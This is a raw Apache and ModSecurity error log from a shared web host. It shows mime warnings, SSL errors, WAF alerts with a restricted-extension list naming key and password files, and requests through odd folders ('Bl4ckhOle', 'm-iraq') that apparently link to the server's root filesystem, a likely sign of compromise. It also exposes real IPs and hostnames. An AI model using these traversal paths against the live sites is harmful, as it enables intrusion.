[Fri Jul 17 09:32:05.667828 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:05.755273 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:05.848168 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:05.939624 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.031066 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.122814 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.218514 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.323383 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.401374 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.502929 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.584693 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.695349 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.777030 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.867358 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:06.978649 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:07.066135 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:07.162335 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.111:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/node0/memory89/subsystem/devices/memory76/subsystem/devices/memory54/subsystem/uevent
[Fri Jul 17 09:32:07.232252 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:07.619336 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:07.660799 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almpPol9vhFBGA6D8l-A8QAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1040&page_105=1536
[Fri Jul 17 09:32:07.660830 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almpPol9vhFBGA6D8l-A8QAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1040&page_105=1536
[Fri Jul 17 09:32:07.688152 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:07.875310 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:07.961083 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:08.052015 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:08.142108 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:08.239320 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:08.273864 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:33968] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:08.325548 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:08.507348 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:08.597143 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:08.695147 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:08.786330 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.093945 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.244343 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.366098 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.422064 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.481827 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.522202 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.612013 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.702501 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.794807 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.887302 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:09.985172 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:10.076493 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:10.171513 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:10.265694 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:10.356641 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:10.447569 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:14.122399 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:57372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:14.199704 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:14.484957 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:17.353285 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:17.392223 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:18.419328 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 57.141.18.93:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory93/subsystem/devices/memory73/subsystem/devices/memory70/node0/memory50/subsystem/drivers_probe
[Fri Jul 17 09:32:19.611293 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:57572] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:20.707671 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:57632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:23.670783 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:26.170952 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:26.295762 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:26.805080 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/calender/"] [unique_id "almpUgRRrtuZqNDDSqW2jAAAABo"]
[Fri Jul 17 09:32:26.805441 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/calender/"] [unique_id "almpUgRRrtuZqNDDSqW2jAAAABo"]
[Fri Jul 17 09:32:26.870187 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/calender/"] [unique_id "almpUgRRrtuZqNDDSqW2jAAAABo"]
[Fri Jul 17 09:32:27.438634 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:53908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:29.898717 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:54036] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:32.005621 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:33.109559 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:56064] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:33.395346 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:56094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:35.393801 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:56220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:35.426404 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:36.280715 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/admin/"] [unique_id "almpXARRrtuZqNDDSqW2kQAAABo"]
[Fri Jul 17 09:32:36.281217 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/admin/"] [unique_id "almpXARRrtuZqNDDSqW2kQAAABo"]
[Fri Jul 17 09:32:36.281396 2026] [authz_core:error] [pid 2013830:tid 2013830] [client 216.244.66.236:0] AH01630: client denied by server configuration: /home/anandaob/public_html/admin/error_log
[Fri Jul 17 09:32:36.281960 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/admin/"] [unique_id "almpXARRrtuZqNDDSqW2kQAAABo"]
[Fri Jul 17 09:32:36.932446 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:56262] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:37.822506 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:56288] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:38.512932 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.82.13.145:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:1/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 09:32:38.523541 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:38.778791 2026] [security2:error] [pid 1993572:tid 1993572] [client 85.208.96.195:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/rpm/rpm.log"] [unique_id "almpXol9vhFBGA6D8l-BAQAAAAw"]
[Fri Jul 17 09:32:38.779327 2026] [security2:error] [pid 1993572:tid 1993572] [client 85.208.96.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/rpm/rpm.log"] [unique_id "almpXol9vhFBGA6D8l-BAQAAAAw"]
[Fri Jul 17 09:32:38.811883 2026] [security2:error] [pid 1993572:tid 1993572] [client 85.208.96.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/rpm/rpm.log"] [unique_id "almpXol9vhFBGA6D8l-BAQAAAAw"]
[Fri Jul 17 09:32:40.609172 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almpYA5GPQ6hs4VrfMpIzwAAAAY"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:32:40.609203 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almpYA5GPQ6hs4VrfMpIzwAAAAY"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:32:40.720523 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:56410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:44.420897 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 47.82.8.181:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:06.0/firmware_node/physical_node/firmware_node/eject
[Fri Jul 17 09:32:45.168761 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almpZU_0b3nWp8txtSDDsgAAAA0"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:32:45.168808 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almpZU_0b3nWp8txtSDDsgAAAA0"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:32:50.758022 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.75:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory40/node0/memory89/node0/memory41/node0/memory141/"] [unique_id "almpagRRrtuZqNDDSqW2mAAAABo"]
[Fri Jul 17 09:32:50.758069 2026] [security2:error] [pid 2013830:tid 2013830] [client 57.141.18.75:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory40/node0/memory89/node0/memory41/node0/memory141/"] [unique_id "almpagRRrtuZqNDDSqW2mAAAABo"]
[Fri Jul 17 09:32:52.737128 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/sysconfig/lvestats2.rpmnew
[Fri Jul 17 09:32:52.745622 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:53.226316 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:53.558606 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/opt/alt/php72/etc/php-fpm.conf"] [unique_id "almpbYl9vhFBGA6D8l-BBwAAAAw"]
[Fri Jul 17 09:32:53.559129 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/opt/alt/php72/etc/php-fpm.conf"] [unique_id "almpbYl9vhFBGA6D8l-BBwAAAAw"]
[Fri Jul 17 09:32:53.581982 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/opt/alt/php72/etc/php-fpm.conf"] [unique_id "almpbYl9vhFBGA6D8l-BBwAAAAw"]
[Fri Jul 17 09:32:54.573761 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:54.953900 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:55.162133 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:55.351872 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:55.543523 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:55.732947 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:55.940506 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:56.571051 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:56.766180 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:56.961221 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:57.166123 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:57.358293 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:57.553373 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:57.745992 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
